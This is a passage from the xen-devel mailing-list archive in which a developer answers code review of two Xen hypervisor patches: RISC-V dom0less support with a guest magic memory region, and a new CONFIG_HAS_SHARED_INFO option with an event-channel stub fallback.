Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 15:24:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350141.1607700 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewnS-0002lA-2q; Wed, 01 Jul 2026 15:24:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350141.1607700; Wed, 01 Jul 2026 15:24:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewnR-0002l3-VH; Wed, 01 Jul 2026 15:24:17 +0000
Received: by outflank-mailman (input) for mailman id 1350141;
 Wed, 01 Jul 2026 15:24:16 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wewnQ-0002kx-Pp
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 15:24:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wewnP-00ASPr-Qr
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 17:24:15 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a45310e-e002-0a2a0a5209dd-0a2a4508d0c6-30
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 17:24:15 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a45311f-edec-0a2a45080019-d155802bf0bd-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 17:24:15 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-493b77b150aso7061995e9.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 08:24:15 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493be4d9daasm87438345e9.9.2026.07.01.08.24.13
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 08:24:14 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782919455; x=1783524255; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=EzAlXR1UrnSnynnOL2U7ASX4RUa5MGuJNSO2hUFkhrY=;
        b=N/ptbj7jwA5HCcah8ZmrrQ7PCrieYRzw44ujr50Z4Iho0JTzhjh2PmVsf/Mv+jecK8
         TrCTVvwZePLcU1P5aOzZW09CcqHCeUXhWsTQQBGbBjOo8qZnhOaAfE+QnUSmEeWqPav6
         6FsW76o6qBJtYsnFfE7G7+vPiF66VqScyYlkNjQJYMTTCsKapy4/y/aUXsEgcEdTG8cO
         BlOejJxTezq7uZWZ1IUJCtxp8qElH/PibBJih4JJedqmUFZE/UTrBQlkh7xZ9egdnsbR
         jY5izydwN64AHb4oYE6K/YCEZbRMyqDg6/HgK4hkbaP6KlsVeogQjXv313IIwqXDTQ38
         /dTw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782919455; x=1783524255;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=EzAlXR1UrnSnynnOL2U7ASX4RUa5MGuJNSO2hUFkhrY=;
        b=pEVKJQzqAscHAKZwvr0q1wQTorLw6nYxyZFKMauf+4BAKfpwQt8CraCW/SV7yE41Ea
         ta7LF7TCen0w6J0jiZ+AtoejUh7NSZA1WVJiRJClLESLlgA+yJqQA1oTinMYGcS/P5kp
         rhZmFtAAHtwZQE6RLBHnXZ4SWddgX644LJJnCYsDKyBIkwJiyHp8R6/QdZ7yHrd7Qov3
         IJEvwmfq304NGRNak8uDXXWp4oqYqhvRPbmdtdx1eSeDqcf5ceSsjbG/XhZf2+jqrdaR
         1yxq0ztcYMfBReLij3KHcCE4VsBK+GZpXqJ2nFosMtKT32GYHXzSoQAHhsq5HMEUkxwq
         mszg==
X-Forwarded-Encrypted: i=1; AFNElJ/mT/5OpAsp4N04p3s97mkiXEfM0nGYTi6Ne79yJKjgu+QEwVYqNcoFLcoo7qmXoUzlxsvTj5rSgLg=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy1ENGHcMmw+bAgF4GsIVkoeZmLA0fapSo5BHw6s6grQscYlF43
	BueLT4cFY8+UtC+Z3hZbP5e3uh2wYDV9Q9m6pDCMKQqaKtZjIdo7ua7t
X-Gm-Gg: AfdE7cmJrqZjBHA4bIqAedJbxkGIsb+6lTro3sqkrAhCZubTxjAHTiFkGYnh2Xyz3bW
	JXkdQDxgyxdNpgO/DV1GkDHwq8R94qqAXxJx1ITH8+0O+n9FXvds19kDTPcOGOF5YOYJ6h/OZA+
	Oyze3XLfP82msQfXj0s3Gs/29+ZGlNYNzZOaKT1WLVomvJbi5oN8esfucL0fDCKurM71Fn2ZhRB
	0vWrZ4i4/7dNxEK4db13unTQw8yZO+WUD0ej2GMhTA2pljhOcao7r7J/GEhtcH/LbtJqRsUfen1
	6nT7zpKApPTjrCCpyGH2sjjIEWJsia9BJopeyQIwoKA8mwGltrhJ5F/BElbsaZYvNzyJ2SWObFt
	s4aUX0p/L8G1UfEig4BgpNYibduaVMyBsg3ybV4p90WYJDhv464hIU9A4kgn38Ub2LlRbW0jm+L
	HuNTiVnJMU5lQIhHwLhlPxcp/yXGC/L0d7d8+0YT60CaBpv2TDLSmpSYcsjddWi27wVWA=
X-Received: by 2002:a05:600c:35d2:b0:493:c3f9:65a2 with SMTP id 5b1f17b1804b1-493c3f9664bmr16518835e9.5.1782919454882;
        Wed, 01 Jul 2026 08:24:14 -0700 (PDT)
Message-ID: <c7aff2d8-14a7-4921-93d4-67228d871074@gmail.com>
Date: Wed, 1 Jul 2026 17:24:13 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 25/25] xen/riscv: add initial dom0less infrastructure
 support
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <a6950e8dc2706c351fe6b0622602d34ecef133b7.1782487661.git.oleksii.kurochko@gmail.com>
 <131fc20c-1353-49fc-8f77-1ca13628ff17@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <131fc20c-1353-49fc-8f77-1ca13628ff17@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1782919455-A11293FC-C6D416F6/10/73395122804
X-purgate-type: spam
X-purgate-size: 3629



On 6/30/26 9:28 AM, Jan Beulich wrote:
> On 26.06.2026 17:46, Oleksii Kurochko wrote:
>> Enable dom0less support for RISC-V by selecting HAS_DOM0LESS and
>> providing the minimal architecture hooks required by the common
>> dom0less infrastructure.
>>
>> Add stub implementations for architecture-specific helpers used when
>> building domains from the device tree. These allow the generic
>> dom0less code to build and let a basic DomU be constructed on RISC-V.
>> construct_hwdom() and make_hypervisor_node() are still stubs returning
>> an error: Dom0/hwdom construction isn't supported yet, and the
>> hypervisor node generation (needed by domains with
>> DOM0LESS_ENHANCED_NO_XS set) is not implemented. Both are marked with
>> a TODO and are not reached by the currently supported configurations.
>>
>> Provide missing helpers and definitions required by the domain
>> construction code, including domain bitness helpers and the
>> p2m_set_allocation() prototype.
>>
>> Additionally define the guest magic memory region (GUEST_MAGIC_BASE /
>> GUEST_MAGIC_SIZE) in asm/guest-layout.h. The base is arbitrary; the
>> only constraint is that the region must not overlap guest RAM or the
>> emulated device regions. It is placed in the unused gap below
>> GUEST_RAM0_BASE (0x80000000); the constraints are documented next to
>> the #define-s.
>>
>> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> 
> Acked-by: Jan Beulich <jbeulich@suse.com>

Thanks.

> 
> Nevertheless, ...
> 
>> --- a/xen/arch/riscv/include/asm/guest-layout.h
>> +++ b/xen/arch/riscv/include/asm/guest-layout.h
>> @@ -32,4 +32,16 @@
>>   #define GUEST_RAM_BANK_BASES   { GUEST_RAM0_BASE, GUEST_RAM1_BASE }
>>   #define GUEST_RAM_BANK_SIZES   { GUEST_RAM0_SIZE, GUEST_RAM1_SIZE }
>>   
>> +/*
>> + * The guest magic region holds Xen-reserved pages mapped into the guest's
>> + * physical address space (shared info, grant table, etc.). The only real
>> + * constraint is that the GUEST_MAGIC_SIZE-byte region must not overlap
>> + * guest RAM (the GUEST_RAMx banks) or the emulated device regions defined
>> + * above; the exact base is otherwise arbitrary. Here it is placed in the
>> + * unused gap below GUEST_RAM0_BASE (0x80000000), but a hole after a RAM
>> + * bank would work equally well.
>> + */
>> +#define GUEST_MAGIC_BASE  _UL(0x79000000)
>> +#define GUEST_MAGIC_SIZE  _UL(0x01000000)
> 
> ... while 16Mb may seem a lot, it feels pretty little for 64-bit guests.
> Even in just Sv39 mode they have ample VA space to map a bigger region.
> (As iirc indicated before, a static upper bound looks questionable to me
> anyway.)

I think the comment should be updated as for grants will be separate region.

For all others, it looks like 16MB is more then enough. For example, Arm 
has only 4 used pages (CONSOLE=0, XENSTORE=1, MEMACCESS=2, VUART=3).

So will you be okay with reworking of the comment to:
/*
  * The guest magic region holds the Xen-reserved pages mapped into the
  * guest's physical address space. The only real constraint on
  * GUEST_MAGIC_BASE/SIZE is that the region must not overlap guest RAM
  * (the GUEST_RAMx banks) or the emulated device regions defined above;
  * the exact base is otherwise arbitrary. Here it is placed in the 
unused gap
  * below GUEST_RAM0_BASE (0x80000000), but a hole after a RAM bank 
would work
  * equally well.
  */

And add to the commit message that:
```
A separate region for grant tables will be introduced at the same time 
as the introduction of the grant table for RISC-V.
```

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 15:25:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 15:25:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350153.1607708 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewou-0003NG-Dw; Wed, 01 Jul 2026 15:25:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350153.1607708; Wed, 01 Jul 2026 15:25:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewou-0003N8-AW; Wed, 01 Jul 2026 15:25:48 +0000
Received: by outflank-mailman (input) for mailman id 1350153;
 Wed, 01 Jul 2026 15:25:47 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wewot-0003N2-LM
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 15:25:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wewot-003rfm-2C
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 17:25:47 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a453176-2eae-0a2a0a5409dd-0a2a450ab4a4-26
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 17:25:46 +0200
Received: from [209.85.128.47] (helo=mail-wm1-f47.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a45317a-e40e-0a2a450a0019-d155802fdc23-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 17:25:46 +0200
Received: by mail-wm1-f47.google.com with SMTP id
 5b1f17b1804b1-493a97fad2fso6933105e9.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 08:25:46 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493be4540aesm85628905e9.0.2026.07.01.08.25.43
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 08:25:45 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:Content-Language:References:Cc:To:Subject:From:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782919546; x=1783524346; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:content-language:references
         :cc:to:subject:from:user-agent:mime-version:date:message-id:from:to
         :cc:subject:date:message-id:reply-to;
        bh=5Uiv/so1XThRNUVtMm9zvCb2kbxp7wSDqrL4nXO2GtM=;
        b=rmxzl/zzMx6Ok5x6ag6T3OqE7Mia388mtheh2CwYclO0SeBVljTM+66H9xvy0EpfYH
         XTQyWTNoVHPv1VspIM0aTMFcbIWDZjObQphz8hC8LCEVj/SB+adf0M8Z0Yd1WjLkKPht
         dsOwERX1DaScBlb0RseKSisr2bWt/heyquudTeGG3MMTS2swqXSDpAKt1thyECnJrnt+
         emlmUkE3Qciu/xRMjNpIuWGfo9OEsAkpe5cyd7GUTF3BXTpLQCxogsPfgqmLDr10703Z
         EaOmuiEfvsp+bdYpJ0Fj0p2W7dADrW/U9iXSA0+9eWhJnPMAxxE4umefcHJU2PZLBc7w
         vRiw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782919546; x=1783524346;
        h=content-transfer-encoding:in-reply-to:content-language:references
         :cc:to:subject:from:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=5Uiv/so1XThRNUVtMm9zvCb2kbxp7wSDqrL4nXO2GtM=;
        b=UbzPmd+Jq3rVBH/ouVgEh0j8LahxXdm/9JcsU5B+kYjyhfngx5U2GYK/5nLz5QowQI
         ttCkZBkd3Xo2nrSOVJGnlN012QIMCmEtSUVtdJpuDFqJ6lqWNi9ycOzM2kgOmjgbcnbm
         HBvtp0yfZKyYMHJhnUqczSncSyQCRJLFdNhoEoWqrAsUNtdWyWw4F0GsOb4HNC2Unoyi
         XnTJ5sAh3siduFpEEJVNBoMrQI+YX7C5w/xFIsie/qvp1sIAyf3t4fmmwXh9fsW4wCBr
         TjJTOIPe3l2adQcZvQ700xvDeGU8d/Udcb9wmTs0EWPa9ljV+AbdXb8bcA21a7VKdN8b
         weLg==
X-Forwarded-Encrypted: i=1; AFNElJ/QT5sEVjIbLz6VM7Qf8aVbc8oQoF/otW66ssg4S+PbLmKB8tsO3QtyQ2PFy39Ru5zl3Dppcy475yE=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyCbKuFMCv0+sdRFq8l97DCGGTYdH8JsxTElJi3n6lBgqMXMX7w
	wvyg8WtYGWkyXFnbgK74puul3BcKs3pfP6W2abmtFPsXEuGirB9ZH528
X-Gm-Gg: AfdE7cmWpkrs1lGrlCcza7JMfU2VPA6R27TSr9Xv3p3H+n/8ZduG31CX8iAltqioIpp
	zWcDCucx4R9JaeeEIb6MvOhr8rU8MWFIV1SIOfHqGTonRG21gq0ABvrrScQCnpTvVXj4n/1AjeD
	XF8rzq8PGbnZmeNQgKCjmJfNXtxtjpxfR/5l2OVxlpiyltkNKzHOtwZaBuGXMpjMZAtzOljMMJ5
	Thb7ZV1VgodelBbIE7TLsrpnF9B1L8qqsCvufWpznUDkcfu0ONedNbGYWOoK8yz9KlQIa3hna1i
	io2o8GE20iXbn1bElKt9jOVo9X+qweEMzOqcL0FtGfMqnMx8qiV3M/AEf2WeiGnamhT8HBzZpFm
	7cp//grGF3BjEjPnDhBju3GpfafiRpRAIbsrUyaXCIt5BreCZbB1cB7U8DJk4iuTEbS99/j+7OT
	qqhD1UwPsA+ghOIxRlvsOd6NGLD9E5UVsHx4obFUnG2dX007Go7Kyj10cgf5UvlDx8e60=
X-Received: by 2002:a05:600d:844f:20b0:492:5bb6:6d4b with SMTP id 5b1f17b1804b1-493c3df77eamr14662535e9.34.1782919546278;
        Wed, 01 Jul 2026 08:25:46 -0700 (PDT)
Message-ID: <2093dd4c-c80d-4b65-998f-c90796dc4a88@gmail.com>
Date: Wed, 1 Jul 2026 17:25:43 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH v4] xen: introduce CONFIG_HAS_SHARED_INFO for archs
 without a shared page
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>, xen-devel@lists.xenproject.org
References: <775c88457e5ec7fc7889002c6f9829669f9bce97.1782388193.git.oleksii.kurochko@gmail.com>
 <5d344cec-bb97-4d3b-87ff-e7175772fd45@suse.com>
Content-Language: en-US
In-Reply-To: <5d344cec-bb97-4d3b-87ff-e7175772fd45@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-4011c0/1782919546-3C07ADDE-910CBC35/10/73395122804
X-purgate-type: spam
X-purgate-size: 6251



On 6/29/26 4:26 PM, Jan Beulich wrote:
> On 25.06.2026 18:02, Oleksii Kurochko wrote:
>> On architectures that run guests in dom0less mode without the PV ABI
>> (currently RISC-V), no shared_info page is allocated and d->shared_info
>> remains NULL throughout the domain lifetime.  Several places in common
>> code access d->shared_info through the shared_info() macro or directly,
>> causing UBSAN null-pointer errors on such architectures.
>>
>> Rather than adding runtime NULL guards that are logically unreachable
>> on x86 and Arm (where shared_info is always allocated), introduce a new
>> Kconfig symbol CONFIG_HAS_SHARED_INFO selected by x86 and Arm.
>>
>> On !HAS_SHARED_INFO the shared_info() macro expands to a dereference
>> of a pointer returned by shared_info_absent(), which is declared but
>> intentionally never defined.
> 
> This looks to need updating.

I will update it to:

On !HAS_SHARED_INFO the shared_info() macro expands to a dereference of 
shared_info_absent, an extern pointer that is declared but intentionally 
never defined.

> 
>>   Any use of shared_info() that is not
>> dead-code-eliminated will therefore cause a link-time failure, making
>> missed guards impossible to overlook.
>>
>> The 2L event-channel ops call shared_info() and must not be compiled on
>> architectures without a shared_info page, so event_2l.o is gated on
>> CONFIG_HAS_SHARED_INFO.  On such architectures evtchn_init() installs
>> the FIFO ops as a placeholder instead; evtchn_fifo_word_from_port() is
>> guarded against uninitialised d->evtchn_fifo so the FIFO ops are safe
>> before evtchn_fifo_init_control() is called by the guest.
>>
>> With CONFIG_HAS_SHARED_INFO=n all vCPUs fall back to the global
>> dummy_vcpu_info, so writes through vcpu_info() could leak data between
>> vCPUs. Reviewing the write paths in common code: the write in
>> map_guest_area() stores the constant ~0 so nothing serious would happen
>> if it were leaked; the event_2l.c paths are unreachable because the
>> preceding shared_info() call would trap first;
> 
> Why "trap"? You can't build an image that way, can you?

"trap" was shorthand for the link-time failure.

I will changed that part to:
... leaked; the event_2l.c paths are not compiled on !HAS_SHARED_INFO, 
as event_2l.o is gated on CONFIG_HAS_SHARED_INFO; ...

> 
>> @@ -1624,7 +1626,11 @@ void evtchn_check_pollers(struct domain *d, unsigned int port)
>>   
>>   int evtchn_init(struct domain *d, unsigned int max_port)
>>   {
>> -    evtchn_2l_init(d);
>> +    if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) )
>> +        evtchn_2l_init(d);
> 
> For this to build when !HAS_SHARED_INFO, all you need is a declaration of
> the function. The compiler will DCE the call. Hence ...
> 
>> --- a/xen/common/event_channel.h
>> +++ b/xen/common/event_channel.h
>> @@ -44,7 +44,11 @@ static inline void evtchn_port_print_state(struct domain *d,
>>   
>>   /* 2-level */
>>   
>> +#ifdef CONFIG_HAS_SHARED_INFO
>>   void evtchn_2l_init(struct domain *d);
>> +#else
>> +static inline void evtchn_2l_init(struct domain *d) {}
>> +#endif
>>   
>>   /* FIFO */
>>   
> 
> ... this hunk should be unnecessary?

Looks like you are right, I will double-check that.

> 
>> @@ -55,6 +59,7 @@ struct evtchn_expand_array;
>>   int evtchn_fifo_init_control(struct evtchn_init_control *init_control);
>>   int evtchn_fifo_expand_array(const struct evtchn_expand_array *expand_array);
>>   void evtchn_fifo_destroy(struct domain *d);
>> +void evtchn_fifo_init_ops(struct domain *d);
>>   #else
>>   static inline int evtchn_fifo_init_control(struct evtchn_init_control *init_control)
>>   {
>> @@ -68,6 +73,7 @@ static inline void evtchn_fifo_destroy(struct domain *d)
>>   {
>>       return;
>>   }
>> +static inline void evtchn_fifo_init_ops(struct domain *d) {}
>>   #endif /* CONFIG_EVTCHN_FIFO */
> 
> Unlike these two. Which raise a different question though: What will be the
> behavior when EVTCHN_FIFO=n and HAS_SHARED_INFO=n? Taking
> evtchn_alloc_unbound() as example, afaict evtchn_port_init() will stumble
> over a NULL pointer. Looks like for that (and only that) case we still need
> your earlier dummy fallback.

I will introduce dummy fallback (I will shrunk some stubs in final version):

+#ifndef CONFIG_HAS_SHARED_INFO
+static void cf_check evtchn_none_set_pending(
+    struct vcpu *v, struct evtchn *evtchn) {}
+static void cf_check evtchn_none_clear_pending(
+    struct domain *d, struct evtchn *evtchn) {}
+static void cf_check evtchn_none_unmask(
+    struct domain *d, struct evtchn *evtchn) {}
+static bool cf_check evtchn_none_is_pending(
+    const struct domain *d, const struct evtchn *evtchn) { return false; }
+static bool cf_check evtchn_none_is_masked(
+    const struct domain *d, const struct evtchn *evtchn) { return true; }
+static void cf_check evtchn_none_print_state(
+    struct domain *d, const struct evtchn *evtchn) {}
+
+static const struct evtchn_port_ops evtchn_port_ops_none = {
+    .set_pending   = evtchn_none_set_pending,
+    .clear_pending = evtchn_none_clear_pending,
+    .unmask        = evtchn_none_unmask,
+    .is_pending    = evtchn_none_is_pending,
+    .is_masked     = evtchn_none_is_masked,
+    .print_state   = evtchn_none_print_state,
+};
+
+static void evtchn_none_init(struct domain *d)
+{
+    d->evtchn_port_ops = &evtchn_port_ops_none;
+}
+#endif

> 
>> @@ -420,6 +423,11 @@ static const struct evtchn_port_ops evtchn_port_ops_fifo =
>>       .print_state   = evtchn_fifo_print_state,
>>   };
>>   
>> +void evtchn_fifo_init_ops(struct domain *d)
>> +{
>> +    d->evtchn_port_ops = &evtchn_port_ops_fifo;
>> +}
> 
> Isn't this unreachable code when HAS_SHARED_INFO=y, violating Misra rule 2.1?
I think if we are going to return back to dummy fallback I think that we 
could drop evtchn_fifo_init_ops() as  d->evtchn_port_ops will be 
initialized later for FIFO. And then in evtchn_init:

int evtchn_init(struct domain *d, unsigned int max_port)
{
     if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) )
         evtchn_2l_init(d);
     else
         evtchn_none_init(d);

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 15:30:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 15:30:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350163.1607716 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewt7-0005Rh-Su; Wed, 01 Jul 2026 15:30:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350163.1607716; Wed, 01 Jul 2026 15:30:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewt7-0005Ra-QA; Wed, 01 Jul 2026 15:30:09 +0000
Received: by outflank-mailman (input) for mailman id 1350163;
 Wed, 01 Jul 2026 15:30:08 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <cody.zuschlag@xenproject.org>) id 1wewt6-0005RD-Hx
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 15:30:08 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <cody.zuschlag@xenproject.org>) id 1wewt6-0028zg-2D
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 15:30:08 +0000
Received: from mail-lj1-f172.google.com ([209.85.208.172])
 by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (Exim 4.96)
 (envelope-from <cody.zuschlag@xenproject.org>) id 1wewt6-002mTL-11
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 15:30:08 +0000
Received: by mail-lj1-f172.google.com with SMTP id
 38308e7fff4ca-39957d210f4so8123511fa.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 08:30:08 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=xenproject.org; s=20200302mail; h=Content-Type:To:Subject:Message-ID:Date:
	From:MIME-Version; bh=T6mw+mMJOdl5hUTkEqale/uYDzDG6vIcz1q3yNEIq9k=; b=A0yH3+i
	Fo/3RuANBIEMnvgCvZgEAPYHUWKStFQdK/9paXjJ/4us6M7Vjf++z7KU7l7i03FsByDkfRQJfABDt
	4zP/HIkHGD2/eD5cFSdc7kbD7RGvUvMXDC6QW2tmdnHrjEKy/8m4dwzi6VxxcNGJqnhfmdh9hg+qC
	orOk5leqDY=;
X-Gm-Message-State: AOJu0Yxm4mJzaxthf6mgu/1TKKGWtb9a5YAIpzhd8VZMbq0CNokVauf4
	UhNoTU7sCwEn4miAuaV3PLunwALpMwd6LJdYcmgyAR3JeyY1LjKeZsrPyBNrZiQZDbFBl/Oz9bI
	KiM5Vk+c+4s7OlprJuD9jTOGRCaDjIoA=
X-Received: by 2002:a2e:b891:0:b0:39a:e3c7:6649 with SMTP id
 38308e7fff4ca-39b3406b5f9mr5869941fa.28.1782919807185; Wed, 01 Jul 2026
 08:30:07 -0700 (PDT)
MIME-Version: 1.0
